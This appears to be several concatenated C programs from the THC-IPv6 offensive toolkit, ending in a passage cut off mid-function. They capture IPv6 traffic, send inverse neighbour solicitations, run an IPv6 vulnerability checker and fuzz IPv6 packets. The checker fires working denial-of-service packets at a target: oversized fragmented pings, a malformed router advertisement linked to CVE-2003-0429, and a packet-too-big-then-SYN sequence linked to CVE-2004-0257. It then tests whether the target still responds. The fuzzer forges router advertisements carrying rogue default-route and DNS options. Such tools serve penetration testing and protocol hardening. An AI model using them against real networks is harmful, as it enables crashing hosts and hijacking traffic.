int main(int argc, char *argv[]) {
char *interface, string[] = "ip6 and icmp6";
unsigned char *mac6, buf[512];
unsigned char *dst = thc_resolve6("ff02::2");
int i;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
pcap_t *p;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "r")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
interface = argv[optind];
if ((mac6 = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (argc - optind > 1 && argv[optind + 1] != NULL)
dst = thc_resolve6(argv[optind + 1]);
memset(buf, 0, sizeof(buf));
buf[0] = 1;
buf[1] = 1;
memcpy(buf + 2, mac6, 6);
i = 8;
memset(seen, 0, sizeof(seen));
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, dst, 255, 0, 0, 0xe0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERSOL, 0, 0, buf, i, 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0)
return -1;
signal(SIGALRM, clean_exit);
alarm(5);
while (1) {
while (thc_pcap_check(p, (char *) dump_ra_reply, NULL) > 0);
usleep(100);
}
return 0;
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL, buf[24];
unsigned char *dst6 = NULL, *smac, dstmac[16] = "", *dmac = dstmac;
int pkt1_len = 0;
char *interface, string[64] = "icmp6";
pcap_t *p;
memset(buf, 0, sizeof(buf));
if (argc != 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);
interface = argv[1];
sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1],
(unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4], (unsigned int *) &dmac[5]);
mac = argv[2];
if ((smac = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
dst6 = thc_resolve6("ff02::1");
if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, NULL, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
memset(buf, 0, sizeof(buf));
buf[0] = 0x01;
buf[1] = 0x01;
memcpy(buf + 2, smac, 6);
buf[8] = 0x02;
buf[9] = 0x01;
memcpy(buf + 10, dmac, 6);
if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_INVNEIGHBORSOL, 0, 0, (unsigned char *) &buf, 16, 0) < 0)
return -1;
if (thc_generate_pkt(interface, smac, dmac, pkt1, &pkt1_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
printf("Sending inverse packet for %s\n", argv[1]);
thc_send_pkt(interface, pkt1, &pkt1_len);
sleep(1);
while (thc_pcap_check(p, (char *) check_packets, NULL));
return 0; // never reached
}
int main(int argc, char *argv[]) {
char *interface;
pcap_t *p;
int i;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "rk:")) >= 0) {
switch (i) {
case 'r':
rawmode = 1;
thc_ipv6_rawmode(1);
break;
case 'k':
key = optarg;
break;
default:
fprintf(stderr, "Unknown option\n");
exit(-1);
}
}
interface = argv[optind];
if ((f = fopen(argv[optind + 1], "w")) == NULL) {
fprintf(stderr, "Error: file %s cout not be created\n", argv[optind + 1]);
exit(-1);
}
if (key != NULL) {
memset(&bfkey, 0, sizeof(bfkey));
SHA1((unsigned char *) key, strlen(key), (unsigned char *) hash);
BF_set_key(&bfkey, sizeof(hash), (unsigned char *) hash);
memset(vec, 0, sizeof(vec));
num = 0;
}
if ((p = thc_pcap_init(interface, "ip6")) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s\n", interface);
exit(-1);
}
while (1) {
thc_pcap_check(p, (char *) check_packets, NULL);
usleep(50);
}
return 0;
}
int main(int argc, char *argv[]) {
int test = 0, count = 1, tmplen;
unsigned char buf[1500], bla[1500], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src ";
unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal;
unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6];
thc_ipv6_hdr *hdr;
int i = 0, j, srcmtu, fragsize, offset = 14;
pcap_t *p;
unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL;
int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500;
char *interface;
thc_ipv6_hdr *ipv6;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
if (strcmp(argv[1], "-p") == 0) {
noping = 1;
argv++;
argc--;
}
if (do_hdr_size)
offset = do_hdr_size;
interface = argv[1];
dst6 = thc_resolve6(argv[2]);
route6 = thc_resolve6("2a01::");
memcpy(ldst6, dst6, 16);
memset(ldst6 + 2, 0, 6);
ldst6[0] = 0xfe;
ldst6[1] = 0x80;
mcast6 = thc_resolve6("ff02::1");
if (argc >= 4)
test = atoi(argv[3]);
memset(buf, 0, sizeof(buf));
memset(null_buffer, 0, sizeof(null_buffer));
src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
strcat(string, thc_ipv62notation(src6));
strcat(string2, thc_ipv62notation(dst6));
srcmac = thc_get_own_mac(interface);
if (rawmode == 0) {
if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) {
fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
exit(-1);
}
} else
dstmac = null_buffer;
if ((srcmtu = thc_get_mtu(interface)) <= 0) {
fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface);
exit(-1);
}
if (do_hdr_size)
srcmtu -= (do_hdr_size - 14);
fragsize = ((srcmtu - 62) / 8) * 8;
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
setvbuf(stdout, NULL, _IONBF, 0);
memset(tests, 0, sizeof(tests));
printf("Performing vulnerability checks on %s via %s:\n", argv[2], argv[1]);
if (noping == 0 && check_alive(p, interface, src6, dst6) == 0) {
fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[2]);
exit(-1);
} else
printf("Test 0: normal ping6\t\t\t\tPASSED - we got a reply\n");
/********************** TEST CASES ************************/
if (test == 0 || test == count) { // 1432
printf("Test %2d: CVE-NONE overlarge ping, 6 checksum combinations\n", count);
tmplen = 65864;
if ((mal = malloc(tmplen)) == NULL)
return -1;
memset(mal, count % 256, tmplen);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
hdr = (thc_ipv6_hdr *) pkt;
if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
return -1;
// because of the different possible checksum calculations we have to do them all
hdr->pkt[offset + 40 + 3] = 0xe5;
if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
return -1;
hdr->pkt[offset + 40 + 2] = 0x98;
hdr->pkt[offset + 40 + 3] = 0xa4;
if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
return -1;
hdr->pkt[offset + 40 + 3] = 0xa3;
if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
return -1;
hdr->pkt[offset + 40 + 2] = 0x84;
hdr->pkt[offset + 40 + 3] = 0x90;
if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
return -1;
hdr->pkt[offset + 40 + 3] = 0x8f;
if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
return -1;
free(mal);
pkt = thc_destroy_packet(pkt);
}
count++;
if (test == 0 || test == count) { // 1432
printf("Test %2d: CVE-NONE large ping, 3 checksum combinations\n", count);
tmplen = 65527;
if ((mal = malloc(tmplen)) == NULL)
return -1;
memset(mal, count % 256, tmplen);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
hdr = (thc_ipv6_hdr *) pkt;
if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
return -1;
// because of the different possible checksum calculations we have to do them all
hdr->pkt[offset + 40 + 2] = 0x31;
hdr->pkt[offset + 40 + 3] = 0x8c;
thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize);
hdr->pkt[offset + 40 + 3] = 0x8a;
thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize);
free(mal);
pkt = thc_destroy_packet(pkt);
}
count++;
if (test == 0 || test == count) {
printf("Test %2d: CVE-2003-0429 bad prefix length (little information, implementation unsure\n", count);
memset(bla, count % 256, sizeof(bla));
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
memset(buf, 0, sizeof(buf));
buf[6] = 4; // 4-7: retrans timer
// option mtu
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
// option prefix
buf[16] = 3;
buf[17] = 4;
buf[18] = 128; // prefix length // BUG IS HERE
buf[19] = 128 + 64;
memset(&buf[20], 17, 4);
memset(&buf[24], 4, 4);
memcpy(&buf[32], route6, 16);
i += 28;
// mac address option
buf[i++] = 1;
buf[i++] = 1;
memcpy(buf + i, srcmac, 6);
i += 6;
// default route routing option
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 0x00; // prefix length
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
i += 16; // 56-71 address, all zeros for default
thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
pkt = thc_destroy_packet(pkt);
}
count++;
if (test == 0 || test == count) {
printf("Test %2d: CVE-2004-0257 ping, send toobig on reply, then SYN pkt\n", count);
memset(bla, count % 256, sizeof(bla));
memset(buf, 0, sizeof(buf));
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &bla, 68, 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
ipv6 = (thc_ipv6_hdr *) pkt;
thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset);
sleep(1);
thc_toobig6(interface, src6, srcmac, dstmac, 68, ipv6->pkt + offset, ipv6->pkt_len - offset);
i = 0;
while (ports[i] != 0) {
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_tcp(pkt, &pkt_len, 1100 + i * 100, ports[i], i * 1000, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
pkt = thc_destroy_packet(pkt);
pkt_len = 0;
i++;
}
}
count++;
/*
if (test == 0 || test == count) {
printf("Test %2d: CVE-20\n", count);
memset(bla, count % 256, sizeof(bla));
memset(buf, 0, sizeof(buf));
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
buf[0] = 0;
thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
pkt = thc_destroy_packet(pkt);
}
count++;
if (test == 0 || test == count) {
printf("Test %2d: CVE-20\n", count);
memset(bla, count % 256, sizeof(bla));
memset(buf, 0, sizeof(buf));
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
buf[0] = 0;
thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
pkt = thc_destroy_packet(pkt);
}
count++;
*/
/*
if (test == 0 || test == count) {
printf("Test %2d: CVE-20\n", count);
memset(bla, count%256, sizeof(bla));
memset(buf, 0, sizeof(buf));
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
return -1;
buf[0] = 0;
thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
pkt = thc_destroy_packet(pkt);
}
count++;
*/
// more?
/******************* END OF TESTCASES ***************************/
if (noping == 1 || check_alive(p, interface, src6, dst6))
printf("Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count);
else
printf("Test %2d: normal ping6 (still alive?)\t\tFAILED - target is unavailable now!\n", count);
thc_pcap_close(p);
return 0;
}
int main(int argc, char *argv[]) {
unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL;
unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "ip6 and dst ";
int test_start = 0, fragment = 0, alert = 0, sroute = 0;
int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0;
int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0;
int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1;
int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0, off2 = 14;
char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL;
unsigned char buf[256], buf2[100], buf3[16];
unsigned short int *sip;
pcap_t *p;
thc_ipv6_hdr *hdr;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "s:0123456789Xxt:T:p:FSDHRIJan:")) >= 0) {
switch (i) {
case 's':
do_type = DO_TCP;
port = atoi(optarg);
break;
case '0':
do_type = DO_NODEQUERY;
break;
case '1':
do_type = DO_PING;
break;
case '2':
do_type = DO_NEIGHSOL;
break;
case '3':
do_type = DO_NEIGHADV;
break;
case '4':
do_type = DO_RA;
break;
case '5':
do_type = DO_MLD_REP;
break;
case '6':
do_type = DO_MLD_DONE;
break;
case '7':
do_type = DO_MLD_QUERY;
wait = 0xff0000;
break;
case '8':
do_type = DO_MLD2_REPORT;
break;
case '9':
do_type = DO_MLD2_QUERY;
wait = 0xff0000;
break;
case 'X':
do_type = DO_NONE;
break;
case 't':
test_start = atoi(optarg);
break;
case 'T':
test_end = test_start = atoi(optarg);
break;
case 'p':
ping = atoi(optarg);
break;
case 'a':
do_alive = 0;
break;
case 'S':
sroute = 1;
break;
case 'n':
no_send = atoi(optarg);
break;
case 'F':
fragment = 1;
break;
case 'R':
alert = 1;
break;
case 'D':
destination = 1;
break;
case 'H':
hopbyhop = 1;
break;
case 'J':
jumbo = 1;
break;
case 'I':
header = 1;
break;
case 'x':
extend = 1;
break;
}
}
if (argc - optind < 2) {
fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n");
exit(-1);
}
interface = argv[optind];
if ((srcmac = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface);
exit(-1);
}
if (no_send < 1) {
fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n");
exit(-1);
}
if (do_hdr_size) {
test_pos -= do_hdr_size;
offset -= do_hdr_size;
off2 = do_hdr_size;
}
if (do_type != DO_PING && do_type != DO_TCP && do_type != DO_NONE) {
if ((mcast6 = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
exit(-1);
}
if (do_type == DO_NEIGHSOL) {
dst6 = thc_resolve6("ff02::0001:ff00:0000");
memcpy(dst6 + 13, mcast6 + 13, 3);
} else
dst6 = thc_resolve6("ff02::1");
} else {
dst6 = thc_resolve6(argv[optind + 1]);
}
if (argv[optind + 1] != NULL)
if ((real_dst6 = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
exit(-1);
}
if (interface == NULL || argv[optind + 1] == NULL) {
printf("Error: interface and target-ipv6-address are mandatory command line options\n");
exit(-1);
}
if (ping < 1 || test_end < test_start) {
printf("don't f**k up the command line options!\n");
exit(-1);
}
if (argv[optind + 2] != NULL)
someaddr6 = thc_resolve6(argv[optind + 2]);
if (argc - optind > 3) {
printf("Error: too many command line options\n");
exit(-1);
}
if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) {
fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
exit(-1);
}
if (do_type == DO_PING || do_type == DO_TCP || do_type == DO_NONE)
src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
else
src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK);
if (src6 == NULL) {
fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface);
exit(-1);
}
strcat(string, thc_ipv62notation(src6));
if (sroute) {
if (someaddr6 != NULL)
routers[0] = someaddr6;
else
routers[0] = dst6;
routers[1] = NULL;
}
setvbuf(stdout, NULL, _IONBF, 0);
memset(buf, 0, sizeof(buf));
memset(buf2, 0, sizeof(buf2));
dns = thc_resolve6("ff02::fb");
route6 = thc_resolve6("2a01::");
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
if (real_dst6 != NULL && real_dst6[0] == 0xff)
do_alive = 0;
// ping before to check if it works
if (do_alive)
if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
// fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]);
// exit(-1);
}
// generate basic packet
strcpy(fuzzbuf, fuzztype_ether);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
return -1;
if (header)
strcat(fuzzbuf, fuzztype_ip6);
else
strcat(fuzzbuf, fuzztype_ip6no);
if (alert || hopbyhop || jumbo) {
memset(buf2, 0, sizeof(buf2));
i = 0;
if (alert) {
buf2[i++] = 5;
buf2[i++] = 2;
i += 2;
strcat(fuzzbuf, ".F.F");
}
if (jumbo) {
buf2[i++] = 0xc2;
buf2[i++] = 4;
buf2[i++] = 'J'; // lookup code
buf2[i++] = 'J';
buf2[i++] = 'J';
buf2[i++] = 'J';
strcat(fuzzbuf, ".FBBBB");
}
if (hopbyhop) {
memset(buf3, 0, sizeof(buf3));
buf3[0] = 'X';
buf3[1] = '.';
for (j = 0; j < 10; j++) {
buf2[i++] = 1; // PadN, length
buf2[i++] = j;
if (j > 0) {
memset(buf2 + i, 0xaa, j);
buf3[2 + j] = '.';
i += j;
}
strcat(fuzzbuf, buf3); // always: X... for every new option
}
}
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0)
return -1;
i += 2;
if (i % 8 > 0)
i = ((i / 8) + 1) * 8;
offset += i;
}
if (sroute) {
if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0)
return -1;
else {
strcat(fuzzbuf, "FFFFBBBB................");
offset += 24;
}
}
if (fragment) {
frag_offset = offset;
if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0)
return -1;
else {
strcat(fuzzbuf, "FFWW..");
offset += 8;
}
}
if (destination) {
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
buf3[0] = 'X';
buf3[1] = '.';
i = 0;
for (j = 0; j < 10; j++) {
buf2[i++] = 1; // PadN, length
buf2[i++] = j;
if (j > 0) {
memset(buf2 + i, 0xaa, j);
buf3[2 + j] = '.';
i += j;
}
strcat(fuzzbuf, buf3); // always: X... for every new option
}
if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0)
return -1;
i += 2;
if (i % 8 > 0)
i = ((i / 8) + 1) * 8;
offset += i;
}
memset(buf, 0, sizeof(buf));
// if (header)
strcat(fuzzbuf, fuzztype_icmp6);
// else
// strcat(fuzzbuf, fuzztype_icmp6no);
switch (do_type) {
case DO_TCP:
// tcp options
buf[0] = 2; // max segment size
buf[1] = 4;
buf[2] = 255;
buf[3] = 255;
buf[4] = 3; // windows size
buf[5] = 3;
buf[6] = 62;
buf[7] = 1; // padding
buf[8] = 8; // timestamp
buf[9] = 10;
buf[10] = time(NULL) / 16777216;
buf[11] = ((time(NULL) / 65536) % 256);
buf[12] = ((time(NULL) / 256) % 256);
buf[13] = time(NULL) % 256;
// 4 bytes ack tstamp 00000000
// rest is padding (2 bytes)
if (thc_add_tcp(pkt, &pkt_len, 65532, port, test_current, 0, TCP_SYN, 5760, 0, (unsigned char *) buf, 20, (unsigned char *) buf, 20) < 0)
return -1;
strcat(fuzzbuf, fuzztype_tcp);
break;
case DO_PING:
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6ping);
break;
case DO_NONE:
// empty
break;
case DO_NEIGHSOL:
if (someaddr6 != NULL)
memcpy(buf, someaddr6, 16);
else
memcpy(buf, mcast6, 16);
buf[16] = 1;
buf[17] = 1;
memcpy(buf + 18, srcmac, 6);
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6ns);
break;
case DO_NEIGHADV:
if (someaddr6 != NULL)
memcpy(buf, someaddr6, 16);
else
memcpy(buf, src6, 16);
buf[16] = 2;
buf[17] = 1;
memcpy(buf + 18, srcmac, 6);
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6na);
break;
case DO_NODEQUERY:
memcpy(buf + 8, real_dst6, 16);
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NODEQUERY, 0, 0x0003003e, (unsigned char *) &buf, 24, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6nq);
break;
case DO_RA:
// buf[3] = 250; // 0-3: reachable timer
buf[6] = 4; // 4-7: retrans timer
// option mtu
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
// option prefix
buf[16] = 3;
buf[17] = 4;
buf[18] = size; // prefix length
buf[19] = 128 + 64;
memset(&buf[20], 17, 4);
memset(&buf[24], 4, 4);
if (someaddr6 != NULL)
memcpy(&buf[32], someaddr6, 16);
else
memcpy(&buf[32], route6, 16);
i = 48;
// mac address option
buf[i++] = 1;
buf[i++] = 1;
memcpy(buf + i, srcmac, 6);
i += 6; // = 8 == 56
// default route routing option
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 64; // prefix length /64
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x20;
buf[i++] = 4; // 56-71 address, 2004:: for default
i += 14; // = 24 == 70
// dns option
buf[i++] = 0x19; // dns option type
buf[i++] = 0x03; // length
i += 2; // 74-75 reserved
memset(buf + i, 1, 4); // validity time
i += 4;
if (someaddr6 != NULL)
memcpy(buf + i, someaddr6, 16); // dns server
else
memcpy(buf + i, dns, 16); // dns server
i += 16; // = 24 == 94
// seachlist option
buf[i++] = 31;
buf[i++] = 4;
i += 2;
memset(buf + i, 1, 4); // validity time
i += 4;
buf[i++] = 3;
memcpy(buf + i, "foo", 3);
i += 3;
buf[i++] = 4;
memcpy(buf + i, "corp", 4);
i += 5; // + null byte
buf[i++] = 5;
memcpy(buf + i, "local", 5);
i += 5;
buf[i++] = 6;
memcpy(buf + i, "domain", 6);
i += 7; // + null byte
// = 32 == 126
// flag extension option
buf[i++] = 26;
buf[i++] = 1;
buf[i++] = 0x08;
i += 5;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6ra);
break;
case DO_MLD_QUERY:
case DO_MLD_DONE:
case DO_MLD_REP:
buf[0] = 0xff;
buf[1] = 0x02;
buf[15] = 0x05;
if (someaddr6 != NULL)
memcpy(buf, someaddr6, 16);
if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6mld);
break;
case DO_MLD2_QUERY:
buf[0] = 0xff;
buf[1] = 0x02;
buf[15] = 0x05;
if (someaddr6 != NULL)
memcpy(buf, someaddr6, 16);
buf[16] = 7;
buf[17] = 120;
buf[19] = 3;
memcpy(buf + 20, dst6, 16);
memcpy(buf + 36, buf, 16);
if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6mld2que);
break;
case DO_MLD2_REPORT:
for (i = 0; i < 3; i++) {
buf[0 + 68 * i] = 1 + i * 2 - i / 2; //include new++, generates 1, 3 and 4
buf[3 + 68 * i] = 3; //3 sources
buf[4 + 68 * i] = 0xff;
buf[5 + 68 * i] = 0x02;
buf[18 + 68 * i] = 0x82 + i % 256;
buf[19 + 68 * i] = 0xff;
memcpy(buf + 20 + 68 * i, src6, 16);
buf[36 + 68 * i] = 0xfe;
buf[37 + 68 * i] = 0x80;
buf[46 + 68 * i] = 0xf0;
if (someaddr6 != NULL)
memcpy(buf + 52 + 68 * i, someaddr6, 16);
}
if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6mld2rep);
break;
default:
fprintf(stderr, "ERROR: Mode not implemented yet!\n");
exit(-1);
}
if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0)
return -1;
hdr = (thc_ipv6_hdr *) pkt;
if (jumbo) {
i = 0;
j = 1;
while (i < hdr->pkt_len + 4 && j) {
if (hdr->pkt[i] == 'J')
if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0)
j = 0;
i++;
}
if (j) {
fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n");
exit(-1);
} else
i--;
hdr->pkt[i] = 0;
hdr->pkt[i + 1] = 0;
hdr->pkt[i + 2] = hdr->pkt[4 + off2];
hdr->pkt[i + 3] = hdr->pkt[5 + off2];
hdr->pkt[4 + off2] = 0;
hdr->pkt[5 + off2] = 0;
}
if (extend)
for (i = 0; i < strlen(fuzzbuf); i++)
if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F')
fuzzbuf[i] = 'X';
// backup of generated packet
pkt_bak = malloc(hdr->pkt_len);
